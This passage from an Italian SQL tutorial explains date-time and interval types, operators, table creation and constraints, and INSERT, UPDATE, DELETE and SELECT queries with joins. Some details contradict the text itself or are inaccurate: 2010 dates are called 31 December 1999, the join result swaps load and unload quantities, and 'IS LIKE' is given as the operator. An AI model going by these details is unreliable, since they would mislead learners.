I valori data-orario sono di tre tipi e servono rispettivamente a memorizzare un giorno particolare, un orario normale e un'informazione data-ora completa.

Sintassi	Descrizione
`DATE`	Il tipo '**`DATE`**' permette di rappresentare delle date composte dall'informazione anno-mese-giorno.

`TIME`
 	
`TIME(`***precisione***`)`
 	
`TIME WITH TIME ZONE`
 	
`TIME(`***precisione***`) WITH TIME ZONE`
	Il tipo '**`TIME`**' permette di rappresentare un orario particolare, composto da ore-minuti-secondi ed eventualmente frazioni di secondo. Se viene specificata la precisione, si intende definire un numero di cifre per la parte frazionaria dei secondi, altrimenti si intende che non debbano essere memorizzate le frazioni di secondo.

`TIMESTAMP`
 	
`TIMESTAMP(`***precisione***`)`
 	
`TIMESTAMP WITH TIME ZONE`
 	
`TIMESTAMP(`***precisione***`) WITH TIME ZONE`
	Il tipo '**`TIMESTAMP`**' è un'informazione oraria più completa del tipo '**`TIME`**' in quanto prevede tutte le informazioni, dall'anno ai secondi, oltre alle eventuali frazioni di secondo.

Se viene specificata la precisione, si intende definire un numero di cifre per la parte frazionaria dei secondi, altrimenti si intende che non debbano essere memorizzate le frazioni di secondo.

L'aggiunta dell'opzione '**`WITH TIME ZONE`**' serve a specificare un tipo orario differente, che assieme all'informazione oraria aggiunge lo scostamento, espresso in ore e minuti, dell'ora locale dal tempo universale (UTC). Per esempio, 22:05:10+1:00 rappresenta le 22.05 e 10

secondi dell'ora locale italiana (durante l'inverno), mentre il tempo universale corrispondente sarebbe invece 21:05:10+0:00.

Le costanti che rappresentano informazioni data-orario sono espresse come le stringhe, delimitate tra apici. Il sistema DBMS potrebbe ammettere più forme differenti per l'inserimento di queste, ma i modi più comuni dovrebbero essere quelli espressi dagli esempi seguenti.

```
'2010-12-31'
'12/31/2010'
'31.12.2010'
```

Questi tre esempi rappresentano la stessa data: il 31 dicembre 1999. Per una questione di uniformità, dovrebbe essere preferibile il primo di questi formati, corrispondente allo stile ISO 8601. Anche gli orari che si vedono sotto, sono aderenti allo stile ISO 8601; in particolare per il fatto che il fuso orario viene indicato attraverso lo scostamento dal tempo universale, invece che attraverso una parola chiave che definisca il fuso dell'ora locale.

```
'12:30:50+1.00'
'12:30:50.10'
'12:30:50'
'12:30'
```

Il primo di questa serie di esempi rappresenta un orario composto da ore, minuti e secondi, oltre all'indicazione dello scostamento dal tempo universale (per ottenere il tempo universale deve essere sottratta un'ora). Il secondo esempio mostra un orario composto da ore, minuti, secondi e centesimi di secondo. Il terzo e il quarto sono rappresentazioni normali, in particolare nell'ultimo è stata omessa l'indicazione dei secondi.

```
'2010-12-31 12:30:50+1.00'
'2010-12-31 12:30:50.10'
'2010-12-31 12:30:50'
'2010-12-31 12:30'
```

Gli esempi mostrano la rappresentazione di informazioni data-orario complete per il tipo '**`TIMESTAMP`**'. La data è separata dall'ora da uno spazio.

85.4.1.4 Intervalli di tempo

Quanto mostrato nella sezione precedente rappresenta un valore che indica un momento preciso nel tempo: una data o un orario, o entrambe le cose. Per rappresentare una durata, si parla di intervalli. Per l'SQL si possono gestire gli intervalli a due livelli di precisione: anni e mesi; oppure giorni, ore, minuti, secondi ed eventualmente anche le frazioni di secondo. L'intervallo si indica con la parola chiave '**`INTERVAL`**', seguita eventualmente dalla precisione con cui questo deve essere rappresentato:

```
INTERVAL [unità_di_misura_data_orario [TO unità_di_misura_data_orario]]
```

In pratica, si può indicare che si tratta di un intervallo, senza specificare altro, oppure si possono definire una o due unità di misura che limitano la precisione di questo (pur restando nei limiti a cui si è già accennato). Tanto per fare un esempio concreto, volendo definire un intervallo che possa esprimere solo ore e minuti, si potrebbe dichiarare con: '**`INTERVAL HOUR TO MINUTE`**'. La tabella 85.22 elenca le parole chiave che rappresentano queste unità di misura.

Tabella 85.22. Elenco delle parole chiave che esprimono unità di misura data-orario.

Parola chiave	Significato
`YEAR`	Anni
`MONTH`	Mesi
`DAY`	Giorni
`HOUR`	Ore
`MINUTE`	Minuti
`SECOND`	Secondi

Si osservino i due esempi seguenti:

```
INTERVAL '12 HOUR 30 MINUTE 50 SECOND'
INTERVAL '12:30:50'
```

Queste due forme rappresentano entrambe la stessa cosa: una durata di 12 ore, 30 minuti e 50 secondi. In generale, dovrebbe essere preferibile la seconda delle due forme di rappresentazione.

```
INTERVAL '10 DAY 12 HOUR 30 MINUTE 50 SECOND'
INTERVAL '10 DAY 12:30:50'
```

Come prima, i due esempi che si vedono sopra sono equivalenti. Intuitivamente, si può osservare che non ci può essere un altro modo di esprimere una durata in giorni, senza specificarlo attraverso la parola chiave '**`DAY`**'.

Per completare la serie di esempi, si aggiungono anche i casi in cui si rappresentano esplicitamente quantità molto grandi, che di conseguenza sono approssimate al mese (come richiede lo standard SQL92):

```
INTERVAL '10 YEAR 11 MONTH'
INTERVAL '10 YEAR'
```

Gli intervalli di tempo possono servire per indicare un tempo trascorso rispetto al momento attuale. Per specificare espressamente questo fatto, si indica l'intervallo come un valore negativo, aggiungendo all'inizio un trattino (il segno meno).

```
INTERVAL '- 10 YEAR 11 MONTH'
```

L'esempio che si vede sopra, esprime precisamente 10 anni e 11 mesi fa.

85.4.2 Operatori, funzioni ed espressioni

SQL, pur non essendo un linguaggio di programmazione completo, mette a disposizione una serie di operatori e di funzioni utili per la realizzazione di espressioni di vario tipo.

85.4.2.1 Operatori aritmetici

Gli operatori che intervengono su valori numerici sono elencati nella tabella 85.27.

Tabella 85.27. Elenco degli operatori aritmetici.

Operatore e operandi	Descrizione
`-`*op*	Inverte il segno dell'operando.
op1 `+` *op2*	Somma i due operandi.
op1 `-` *op2*	Sottrae dal primo il secondo operando.
op1 `*` *op2*	Moltiplica i due operandi.
op1 `/` *op2*	Divide il primo operando per il secondo.
op1 `%` *op2*	Modulo: il resto della divisione tra il primo e il secondo operando.

Nelle espressioni, tutti i tipi numerici esatti e approssimati possono essere usati senza limitazioni. Dove necessario, il sistema provvede a eseguire le conversioni di tipo.

85.4.2.2 Operazioni con i valori data-orario e con intervalli di tempo

Le operazioni che si possono compiere utilizzando valori data-orario e valori che esprimono intervalli di tempo, hanno significato solo in alcune circostanze. La tabella 85.28 elenca le operazioni possibili e il tipo di risultato che si ottiene in base al tipo di operatori utilizzato.

Tabella 85.28. Operatori e operandi validi quando si utilizzano valori data-orario e valori che esprimono intervalli di tempo.

Operatore e operandi	Risultato
data_orario `-` *data_orario*	Intervallo
data_orario `+` *intervallo*	Data-orario
data_orario `-` *intervallo*	Data-orario
intervallo `+` *data_orario*	Data-orario
intervallo `+` *intervallo*	Intervallo
intervallo `-` *intervallo*	Intervallo
intervallo `*` *numerico*	Intervallo
intervallo `/` *numerico*	Intervallo
numerico `*` *intervallo*	Intervallo

85.4.2.3 Operatori di confronto e operatori logici

Gli operatori di confronto determinano la relazione tra due operandi. Il risultato dell'espressione composta da due operandi posti a confronto è di tipo booleano: *Vero* o *Falso*. Gli operatori di confronto sono elencati nella tabella 85.29.

Tabella 85.29. Elenco degli operatori di confronto.

Operatore e operandi	Descrizione
op1 = ***op2***	*Vero* se gli operandi si equivalgono.
op1 <> ***op2***	*Vero* se gli operandi sono differenti.
op1 < ***op2***	*Vero* se il primo operando è minore del secondo.
op1 > ***op2***	*Vero* se il primo operando è maggiore del secondo.
op1 <= ***op2***	*Vero* se il primo operando è minore o uguale al secondo.
op1 >= ***op2***	*Vero* se il primo operando è maggiore o uguale al secondo.

Quando si vogliono combinare assieme diverse espressioni logiche si utilizzano gli operatori logici. Come in tutti i linguaggi di programmazione, si possono usare le parentesi tonde per raggruppare le espressioni logiche in modo da chiarire l'ordine di risoluzione. Gli operatori logici sono elencati nella tabella 85.30.

Tabella 85.30. Elenco degli operatori logici.

Operatore e operandi	Descrizione
`NOT` ***op***	Inverte il risultato logico dell'operando.
op1 `AND` ***op2***	*Vero* se entrambi gli operandi restituiscono il valore *Vero*.
op1 `OR` ***op2***	*Vero* se almeno uno degli operandi restituisce il valore *Vero*.

Il meccanismo di confronto tra due operandi numerici è evidente, mentre può essere meno evidente con le stringhe di caratteri. Per la precisione, il confronto tra due stringhe avviene senza tenere conto degli spazi finali, per cui, le stringhe '**`'ciao'`**' e '**`'ciao '`**' dovrebbero risultare uguali attraverso il confronto di uguaglianza con l'operatore '**`=`**'.

Con le stringhe, tuttavia, si possono eseguire dei confronti basati su modelli, attraverso gli operatori '**`IS LIKE`**' e '**`IS NOT LIKE`**'. Il modello può contenere dei metacaratteri rappresentati dal trattino basso ('`_`'), che rappresenta un carattere qualsiasi, e dal simbolo di percentuale ('`%`'), che rappresenta una sequenza qualsiasi di caratteri. La tabella 85.31 riassume quanto affermato.

Tabella 85.31. Espressioni sulle stringhe di caratteri.

Espressioni e modelli	Descrizione
stringa `IS LIKE` ***modello***	Restituisce *Vero* se il modello corrisponde alla stringa.
stringa `IS NOT LIKE` ***modello***	Restituisce *Vero* se il modello non corrisponde alla stringa.
`_`	Rappresenta un carattere qualsiasi.
`%`	Rappresenta una sequenza indeterminata di caratteri.

La presenza di valori indeterminati richiede la disponibilità di operatori di confronto in grado di determinarne l'esistenza. La tabella 85.32 riassume gli operatori ammissibili in questi casi.

Tabella 85.32. Espressioni di verifica dei valori indeterminati.

Operatori	Descrizione
espressione `IS NULL`	Restituisce *Vero* se l'espressione genera un risultato indeterminato.
espressione `IS NOT NULL`	Restituisce *Vero* se l'espressione non genera un risultato indeterminato.

Infine, occorre considerare una categoria particolare di espressioni che permettono di verificare l'appartenenza di un valore a un intervallo o a un elenco di valori. La tabella 85.33 riassume gli operatori utilizzabili.

Tabella 85.33. Espressioni per la verifica dell'appartenenza di un valore a un intervallo o a un elenco.

Operatori e operandi	Descrizione
op1 `IN (`***elenco***`)`	*Vero* se il primo operando è contenuto nell'elenco.
op1 `NOT IN (`***elenco***`)`	*Vero* se il primo operando non è contenuto nell'elenco.
op1 `BETWEEN` ***op2*** `AND` ***op3***	*Vero* se il primo operando è compreso tra il secondo e il terzo.
op1 `NOT BETWEEN` ***op2*** `AND` ***op3***	*Vero* se il primo operando non è compreso nell'intervallo.

85.4.3 Le relazioni dal punto di vista di SQL

SQL tratta le relazioni attraverso il modello tabellare; di conseguenza si adegua tutta la sua filosofia e il modo di esprimere i concetti nella sua documentazione. Pertanto, le relazioni per SQL sono delle «tabelle», che vengono definite nel modo seguente dalla documentazione standard.

- La tabella è un insieme di più righe. Una riga è una sequenza non vuota di valori. Ogni riga della stessa tabella ha la stessa cardinalità e contiene un valore per ogni colonna di quella tabella. L'i-esimo valore di ogni riga di una tabella è un valore dell'i-esima colonna di quella tabella. La riga è l'elemento che costituisce la più piccola unità di dati che può essere inserita in una tabella e cancellata da una tabella.

- Il grado di una tabella è il numero di colonne della stessa. In ogni momento, il grado della tabella è lo stesso della cardinalità di ognuna delle sue righe; la cardinalità della tabella (cioè il numero delle righe contenute) è la stessa della cardinalità di ognuna delle sue colonne. Una tabella la cui cardinalità sia zero viene definita come vuota.

In pratica, la tabella è un contenitore di informazioni organizzato in righe e colonne. La tabella viene identificata per nome, così anche le colonne, mentre le righe vengono identificate attraverso il loro contenuto.

Nel modello di SQL, le colonne sono ordinate, anche se ciò non è sempre un elemento indispensabile, dal momento che si possono identificare per nome. Inoltre sono ammissibili tabelle contenenti righe duplicate.

Si osservi, comunque, che nel resto di questo documento si preferisce la terminologia generale delle basi di dati, dove, al posto di tabelle, righe e colonne, si parla piuttosto di relazioni, tuple e attributi.

85.4.3.1 Creazione di una relazione

La creazione di una relazione avviene attraverso un'istruzione che può assumere un'articolazione molto complessa, a seconda delle caratteristiche particolari che da questa relazione si vogliono ottenere. La sintassi più semplice è quella seguente:

CREATE TABLE ***nome_relazione*** (***specifiche***)

Tuttavia, sono proprio le specifiche indicate tra le parentesi tonde che possono tradursi in un sistema molto confuso. La creazione di una relazione elementare può essere espressa con la sintassi seguente:

CREATE TABLE ***nome_relazione*** (***nome_attributo*** ***tipo*** [,...])

In questo modo, all'interno delle parentesi vengono semplicemente elencati i nomi degli attributi seguiti dal tipo di dati che in essi possono essere contenuti. L'esempio seguente rappresenta l'istruzione necessaria a creare una relazione composta da cinque attributi, contenenti rispettivamente informazioni su: codice, cognome, nome, indirizzo e numero di telefono.

```
CREATE TABLE Indirizzi (
        Codice          integer,
        Cognome         char(40),
        Nome            char(40),
        Indirizzo       varchar(60),
        Telefono        varchar(40)
    )
```

85.4.3.2 Valori predefiniti

Quando si inseriscono delle tuple all'interno della relazione, in linea di principio è possibile che i valori corrispondenti ad attributi particolari non siano inseriti esplicitamente. Se si verifica questa situazione (purché ciò sia consentito dai vincoli), viene assegnato a questi elementi mancanti un valore predefinito. Questo può essere stabilito all'interno delle specifiche di creazione della relazione; in mancanza di tale definizione, viene assegnato '**NULL**', corrispondente al valore indefinito.

La sintassi necessaria a creare una relazione contenente le indicazioni sui valori predefiniti da utilizzare è la seguente:

```
CREATE TABLE nome_relazione (
                   nome_attributo  tipo
                        [DEFAULT  espressione]
                   [,...]
         )
```

L'esempio seguente crea la stessa relazione già vista nell'esempio precedente, specificando come valore predefinito per l'indirizzo, la stringa di caratteri: «sconosciuto».

```
CREATE TABLE Indirizzi (
        Codice          integer,
        Cognome         char(40),
        Nome            char(40),
        Indirizzo       varchar(60)     DEFAULT 'sconosciuto',
        Telefono        varchar(40)
    )
```

85.4.3.3 Vincoli interni alla relazione

Può darsi che in certe situazioni, determinati valori all'interno di una tupla non siano ammissibili, a seconda del contesto a cui si riferisce la relazione. I vincoli interni alla relazione sono quelli che possono essere risolti senza conoscere informazioni esterne alla relazione stessa.

Il vincolo più semplice da esprimere è quello di non ammissibilità dei valori indefiniti. La sintassi seguente ne mostra il modo.

```
CREATE TABLE nome_relazione (
                   nome_attributo  tipo
                        [NOT NULL]
                   [,...]
         )
```

L'esempio seguente crea la stessa relazione già vista negli esempi precedenti, specificando che il codice, il cognome, il nome e il telefono non possono essere indeterminati.

```
CREATE TABLE Indirizzi (
        Codice          integer         NOT NULL,
        Cognome         char(40)        NOT NULL,
        Nome            char(40)        NOT NULL,
        Indirizzo       varchar(60)     DEFAULT 'sconosciuto',
        Telefono        varchar(40)     NOT NULL
    )
```

Un altro vincolo importante è quello che permette di definire che un gruppo di attributi deve rappresentare dati unici in ogni tupla, cioè che non siano ammissibili tuple che per quel gruppo di attributi abbiano dati uguali. Segue lo schema sintattico relativo:

```
CREATE TABLE nome_relazione (
                  nome_attributo tipo
                  [,...],
                  UNIQUE ( nome_attributo [,...] )
                  [,...]
         )
```

L'indicazione dell'unicità può riguardare più gruppi di attributi in modo indipendente. Per ottenere questo si possono indicare più opzioni '**`UNIQUE`**'.

È il caso di osservare che il vincolo '**`UNIQUE`**' non è sufficiente per impedire che i dati possano essere indeterminati. Infatti, il valore indeterminato, '**`NULL`**', è diverso da ogni altro '**`NULL`**'.

L'esempio seguente crea la stessa relazione già vista negli esempi precedenti, specificando che i dati dell'attributo del codice devono essere unici per ogni tupla.

```
CREATE TABLE Indirizzi (
        Codice          integer         NOT NULL,
        Cognome         char(40)        NOT NULL,
        Nome            char(40)        NOT NULL,
        Indirizzo       varchar(60)     DEFAULT 'sconosciuto',
        Telefono        varchar(40)     NOT NULL,
        UNIQUE (Codice)
    )
```

Quando un attributo, o un gruppo di attributi, costituisce un riferimento importante per identificare le varie tuple che compongono la relazione, si può utilizzare il vincolo '**`PRIMARY KEY`**', che può essere utilizzato una sola volta. Questo vincolo stabilisce anche che i dati contenuti, oltre a non poter essere doppi, non possono essere indefiniti.

```
CREATE TABLE nome_relazione (
                   nome_attributo  tipo
                   [,...],
                   PRIMARY KEY ( nome_attributo [,...] )
         )
```

L'esempio seguente crea la stessa relazione già vista negli esempi precedenti specificando che l'attributo del codice deve essere considerato come chiave primaria.

```
CREATE TABLE Indirizzi (
        Codice          integer,
        Cognome         char(40)        NOT NULL,
        Nome            char(40)        NOT NULL,
        Indirizzo       varchar(60)     DEFAULT 'sconosciuto',
        Telefono        varchar(40)     NOT NULL,
        PRIMARY KEY (Codice)
    )
```

85.4.3.4 Vincoli esterni alla relazione

I vincoli esterni alla relazione riguardano principalmente la connessione con altre relazioni e la necessità che i riferimenti a queste siano validi. La definizione formale di questa connessione è molto complessa e qui non viene descritta. Si tratta, in ogni caso, dell'opzione '**`FOREIGN KEY`**' seguita da '**`REFERENCES`**'.

Vale la pena però di considerare i meccanismi che sono coinvolti. Infatti, nel momento in cui si inserisce un valore, il sistema può impedire l'operazione perché non valida in base all'assenza di quel valore in un'altra relazione esterna specificata. Il problema nasce però nel momento in cui nella relazione esterna viene eliminata o modificata una tupla che è oggetto di un riferimento da parte della prima. Si pongono le alternative seguenti.

Vincolo	Descrizione
`CASCADE`	Se nella relazione esterna il dato a cui si fa riferimento è stato cambiato, viene cambiato anche il riferimento nella relazione di partenza; se nella relazione esterna la tupla corrispondente viene rimossa, viene rimossa anche la tupla della relazione di partenza.
`SET NULL`	Se viene a mancare l'oggetto a cui si fa riferimento, viene modificato il dato attribuendo il valore indefinito.
`SET DEFAULT`	Se viene a mancare l'oggetto a cui si fa riferimento, viene modificato il dato attribuendo il valore predefinito.
`NO ACTION`	Se viene a mancare l'oggetto a cui si fa riferimento, non viene modificato il dato contenuto nella relazione di partenza.

Le azioni da compiere si possono distinguere in base all'evento che ha causato la rottura del riferimento: cancellazione della tupla della relazione esterna o modifica del suo contenuto.

85.4.3.5 Modifica della struttura della relazione

La modifica della struttura di una relazione riguarda principalmente la sua organizzazione in attributi. Le cose più semplici che si possono desiderare di fare sono l'aggiunta di nuovi attributi e l'eliminazione di attributi già esistenti. Vedendo il problema in questa ottica, la sintassi si riduce ai due casi seguenti:

```
ALTER TABLE nome_relazione ADD [COLUMN] nome_attributo tipo [altre_caratteristiche]
```

```
ALTER TABLE nome_relazione DROP [COLUMN] nome_attributo
```

Nel primo caso si aggiunge un attributo, del quale si deve specificare il nome, il tipo ed eventualmente i vincoli; nel secondo si tratta solo di indicare l'attributo da eliminare. A livello di singolo attributo può essere eliminato o assegnato un valore predefinito.

```
ALTER TABLE nome_relazione ALTER [COLUMN] nome_attributo DROP DEFAULT
```

```
ALTER TABLE nome_relazione ALTER [COLUMN] nome_attributo SET DEFAULT valore_predefinito
```

85.4.3.6 Eliminazione di una relazione

L'eliminazione di una relazione, con tutto il suo contenuto, è un'operazione semplice che dovrebbe essere autorizzata solo all'utente che l'ha creata.

```
DROP TABLE nome_relazione
```

85.5 DML

DML, ovvero *Data manipulation language*, è il linguaggio usato per inserire, modificare e accedere ai dati. In questa sezione viene trattato il linguaggio SQL per ciò che riguarda specificatamente l'inserimento, la lettura e la modifica del contenuto delle relazioni.

85.5.1 Inserimento, eliminazione e modifica dei dati

L'inserimento, l'eliminazione e la modifica dei dati di una relazione è un'operazione che interviene sempre a livello delle tuple. Infatti, come già definito, la tupla è l'elemento che costituisce l'unità di dati più piccola che può essere inserita o cancellata da una relazione.

85.5.1.1 Inserimento di tuple

L'inserimento di una nuova tupla all'interno di una relazione viene eseguito attraverso l'istruzione '**`INSERT`**'. Dal momento che nel modello di SQL gli attributi sono ordinati, è sufficiente indicare ordinatamente l'elenco dei valori della tupla da inserire, come mostra la sintassi seguente:

```
INSERT INTO nome_relazione VALUES (espressione_1 [,...espressione_n] )
```

Per esempio, l'inserimento di una tupla nella relazione '**`Indirizzi`**' già mostrata in precedenza, potrebbe avvenire nel modo seguente:

```
INSERT INTO Indirizzi
    VALUES (
        01,
        'Pallino',
        'Pinco',
        'Via Biglie 1',
        '0222,222222'
    )
```

Se i valori inseriti sono meno del numero degli attributi della relazione, i valori mancanti, in coda, ottengono quanto stabilito come valore predefinito, o '**`NULL`**' in sua mancanza (sempre che ciò sia concesso dai vincoli della relazione).

L'inserimento dei dati può avvenire in modo più chiaro e sicuro elencando prima i nomi degli attributi, in modo da evitare di dipendere dalla sequenza degli attributi memorizzata nella relazione. La sintassi seguente mostra il modo di ottenere questo.

```
INSERT INTO nome_relazione (attributo_1 [,...attributo_n] ) ]
     VALUES (espressione_1 [,...espressione_n] )
```

L'esempio già visto potrebbe essere tradotto nel modo seguente, più prolisso, ma anche più chiaro:

```
INSERT INTO Indirizzi (
        Codice,
        Cognome,
        Nome,
        Indirizzo,
        Telefono
    )
    VALUES (
        01,
        'Pallino',
        'Pinco',
        'Via Biglie 1',
        '0222,222222'
    )
```

Questo modo esplicito di fare riferimento agli attributi garantisce anche che eventuali modifiche di lieve entità nella struttura della relazione non debbano necessariamente riflettersi nei programmi. L'esempio seguente mostra l'inserimento di alcuni degli attributi della tupla, lasciando che gli altri ottengano l'assegnamento di un valore predefinito.

```
INSERT INTO Indirizzi (
        Codice,
        Cognome,
        Nome,
        Telefono
    )
    VALUES (
        01,
        'Pinco',
        'Pallino',
        '0222,222222'
    )
```

85.5.1.2 Aggiornamento delle tuple

La modifica delle tuple può avvenire attraverso una scansione della relazione, dalla prima all'ultima tupla, eventualmente controllando la modifica in base all'avverarsi di determinate condizioni. La sintassi per ottenere questo risultato, leggermente semplificata, è la seguente:

```
UPDATE relazione
     SET attributo_1=espressione_1 [, ...attributo_n=espressione_n]
     [WHERE condizione]
```

L'istruzione '**UPDATE**' esegue tutte le sostituzioni indicate dalle coppie ***attributo=espressione***, per tutte le tuple in cui la condizione posta dopo la parola chiave '**WHERE**' si avvera. Se tale condizione manca, l'effetto delle modifiche si riflette su tutte le tuple della relazione.

L'esempio seguente aggiunge un attributo alla relazione degli indirizzi, per contenere il nome del comune di residenza; successivamente viene inserito il nome del comune «Sferopoli» in base al prefisso telefonico.

```
ALTER TABLE Indirizzi ADD COLUMN Comune char(30)
```

```
UPDATE Indirizzi
    SET Comune='Sferopoli'
    WHERE Telefono >= '022' AND Telefono < '023'
```

Eventualmente, al posto dell'espressione si può indicare la parola chiave '**DEFAULT**' che fa in modo di assegnare il valore predefinito per quel attributo.

85.5.1.3 Eliminazione di tuple

La cancellazione di tuple da una relazione è un'operazione molto semplice. Richiede solo l'indicazione del nome della relazione e la condizione in base alla quale le tuple devono essere cancellate.

```
DELETE FROM relazione [WHERE condizione]
```

Se la condizione non viene indicata, si cancellano tutte le tuple!

85.5.2 Interrogazioni di relazioni

L'interrogazione di una relazione è l'operazione con cui si ottengono i dati contenuti al suo interno, in base a dei criteri di filtro determinati. L'interrogazione consente anche di combinare assieme dati provenienti da relazioni differenti, in base a dei «collegamenti» che possono intercorrere tra queste.

85.5.2.1 Interrogazioni elementari

La forma più semplice di esprimere la sintassi necessaria a interrogare **una** sola relazione è quella espressa dallo schema seguente:

```
SELECT espress_col_1 [, ...espress_col_n]
    FROM relazione
    [WHERE condizione]
```

In questo modo è possibile definire gli attributi che si intendono utilizzare per il risultato, mentre le tuple si specificano, eventualmente, con la condizione posta dopo la parola chiave '**WHERE**'. L'esempio seguente mostra la proiezione degli attributi del cognome e nome della relazione di indirizzi già vista negli esempi delle altre sezioni, senza porre limiti alle tuple.

```
SELECT Cognome, Nome FROM Indirizzi
```

Quando si vuole ottenere una selezione composta dagli stessi attributi della relazione originale, nel suo stesso ordine, si può utilizzare un carattere jolly particolare, l'asterisco ('*****'). Questo rappresenta l'elenco di tutti gli attributi della relazione indicata.

```
SELECT * FROM Indirizzi
```

È bene osservare che gli attributi si esprimono attraverso un'espressione, questo significa che gli attributi a cui si fa riferimento sono quelle del risultato finale, cioè della relazione che viene restituita come selezione o proiezione della relazione originale. L'esempio seguente emette un solo attributo contenente un ipotetico prezzo scontato del 10 %, in pratica viene moltiplicato il valore di un attributo contenente il prezzo per 0,90, in modo da ottenerne il 90 % (100 % meno lo sconto).

```
SELECT Prezzo * 0.90 FROM Listino
```

In questo senso si può comprendere l'utilità di assegnare esplicitamente un nome agli attributi del risultato finale, come indicato dalla sintassi seguente:

SELECT ***espress_col_1*** AS ***nome_col_1***] [, ...***espress_col_n*** AS ***nome_col_n***]
FROM ***relazione***
[WHERE ***condizione***]

In questo modo, l'esempio precedente può essere trasformato come segue, dando un nome all'attributo generato e chiarendone così il contenuto.

```
SELECT Prezzo * 0.90 AS Prezzo_Scontato FROM Listino
```

Finora è stata volutamente ignorata la condizione che controlla le tuple da selezionare. Anche se potrebbe essere evidente, è bene chiarire che la condizione posta dopo la parola chiave '**WHERE**' può fare riferimento solo ai dati originali della relazione da cui si attingono. Quindi, non è valida una condizione che utilizza un riferimento a un nome che appare dopo la parola chiave '**AS**' abbinata alle espressioni degli attributi.

Per qualche motivo che viene chiarito in seguito, può essere conveniente associare un alias alla relazione da cui estrarre i dati. Anche in questo caso si utilizza la parola chiave '**AS**', come indicato dalla sintassi seguente:

SELECT ***specificazione_dell'attributo_1*** [, ...***specificazione_dell'attributo_n***]
FROM ***relazione*** AS ***alias***
[WHERE ***condizione***]

Quando si vuole fare riferimento al nome di un attributo, se per qualche motivo questo nome dovesse risultare ambiguo, si può aggiungere anteriormente il nome della relazione a cui appartiene, separandolo attraverso l'operatore punto ('.'). L'esempio seguente è la proiezione dei cognomi e dei nomi della solita relazione degli indirizzi. In questo caso, le espressioni degli attributi rappresentano solo gli attributi corrispondenti della relazione originaria, con l'aggiunta dell'indicazione esplicita del nome della relazione stessa.

```
SELECT Indirizzi.Cognome, Indirizzi.Nome FROM Indirizzi
```

A questo punto, se al nome della relazione viene abbinato un alias, si può esprimere la stessa cosa indicando il nome dell'alias al posto di quello della relazione, come nell'esempio seguente:

```
SELECT Ind.Cognome, Ind.Nome FROM Indirizzi AS Ind
```

85.5.2.2 Interrogazioni ordinate

Per ottenere un elenco ordinato in base a qualche criterio, si utilizza l'istruzione '**SELECT**' con l'indicazione di un'espressione in base alla quale effettuare l'ordinamento. Questa espressione è preceduta dalle parole chiave '**ORDER BY**':

```
SELECT espress_col_1 [, ...espress_col_n]
    FROM relazione
    [WHERE condizione]
    ORDER BY espressione [ASC|DESC] [,...]
```

L'espressione può essere il nome di un attributo, oppure un'espressione che genera un risultato da uno o più attributi; l'aggiunta eventuale della parola chiave '**ASC**', o '**DESC**', permette di specificare un ordinamento crescente, o discendente. Come si vede, le espressioni di ordinamento possono essere più di una, separate con una virgola.

```
SELECT Cognome, Nome FROM Indirizzi ORDER BY Cognome
```

L'esempio mostra un'applicazione molto semplice del problema, in cui si ottiene un elenco dei soli attributi '**Cognome**' e '**Nome**', della relazione '**Indirizzi**', ordinato per '**Cognome**'.

```
SELECT Cognome, Nome FROM Indirizzi ORDER BY Cognome, Nome
```

Questo esempio, aggiunge l'indicazione del nome nella chiave di ordinamento, in modo che in presenza di cognomi uguali, la scelta venga fatta in base al nome.

```
SELECT Cognome, Nome FROM Indirizzi ORDER BY TRIM( Cognome ), TRIM( Nome )
```

Questo ultimo esempio mostra l'utilizzo di due espressioni come chiave di ordinamento. Per la precisione, la funzione ***TRIM()***, usata in questo modo, serve a eliminare gli spazi iniziali e finali superflui. In questo modo, se i nomi e i cognomi sono stati inseriti con degli spazi iniziali, questi non vanno a influire sull'ordinamento.

85.5.2.3 Interrogazioni simultanee di più relazioni

Se dopo la parola chiave '**FROM**' si indicano più relazioni (ciò vale anche se si indica più volte la stessa relazione), si intende fare riferimento a una relazione generata dal prodotto di queste. Se per esempio si vogliono abbinare due relazioni, una di tre tuple con due attributi e un'altra di due tuple con due attributi, quello che si ottiene è una relazione con quattro attributi composta da sei tuple. Infatti, ogni tupla della prima relazione risulta abbinata con ogni tupla della seconda.

```
SELECT specificazione_dell'attributo_1 [, ...specificazione_dell'attributo_n]
    FROM specificazione_della_relazione_1 [, ...specificazione_della_relazione_n]
    [WHERE condizione]
```

Viene proposto un esempio banalizzato, con il quale poi si vuole eseguire un'elaborazione (figura 85.54).

Figura 85.54. Relazioni '**`Articoli`**' e '**`Movimenti`**' di una gestione del magazzino ipotetica.

Articoli	
Codice	**Descrizione**
vite30	Vite 3 mm
dado30	Dado 3 mm
rond50	Rondella 5 mm

Movimenti			
Codice	**Data**	**Carico**	**Scarico**
dado30	01/01/2010	1200	
vite30	01/01/2010		800
vite30	03/01/2010	2000	
rond50	03/01/2010		500

Da questa situazione si vuole ottenere la congiunzione della relazione '**`Movimenti`**' con tutte le informazioni corrispondenti della relazione '**`Articoli`**', basando il riferimento sull'attributo '**`Codice`**'. In pratica si vuole ottenere la relazione della figura 85.55.

Tabella 85.55. Risultato del join che si intende ottenere tra la relazione '**`Movimenti`**' e la relazione '**`Articoli`**'.

Codice	Data	Carico	Scarico	Descrizione
dado30	01/01/2010	1200		Dado 3 mm
vite30	01/01/2010	2000		Vite 3 mm
vite30	03/01/2010		800	Vite 3 mm
rond50	03/01/2010		500	Rondella 5 mm

Considerato che da un'istruzione '**`SELECT`**' contenente il riferimento a più relazioni si genera il prodotto tra queste, si pone poi il problema di eseguire una proiezione degli attributi desiderati e, soprattutto, di selezionare le tuple. In questo caso, la selezione deve essere basata sulla corrispondenza tra l'attributo '**`Codice`**' della prima relazione, con lo stesso attributo della seconda. Dovendo fare riferimento a due attributi di relazioni differenti, aventi però lo stesso nome, diviene indispensabile indicare i nomi degli attributi prefissandoli con i nomi delle relazioni rispettive.

```
SELECT
    Movimenti.Codice,
    Movimenti.Data,
    Movimenti.Carico,
    Movimenti.Scarico,
    Articoli.Descrizione
    FROM Movimenti, Articoli
    WHERE Movimenti.Codice = Articoli.Codice;
```

L'interrogazione simultanea di più relazioni si presta anche per elaborazioni della stessa relazione più volte. In tal caso, diventa obbligatorio l'uso degli alias. Si osservi il caso seguente:

```
SELECT Ind1.Cognome, Ind1.Nome
    FROM Indirizzi AS Ind1, Indirizzi AS Ind2
    WHERE
        Ind1.Cognome = Ind2.Cognome
    AND Ind1.Nome <> Ind2.Nome
```

Il senso di questa interrogazione, che utilizza la stessa relazione degli indirizzi per due volte con due alias differenti, è quello di ottenere l'elenco delle persone che hanno lo stesso cognome, avendo però un nome differente.

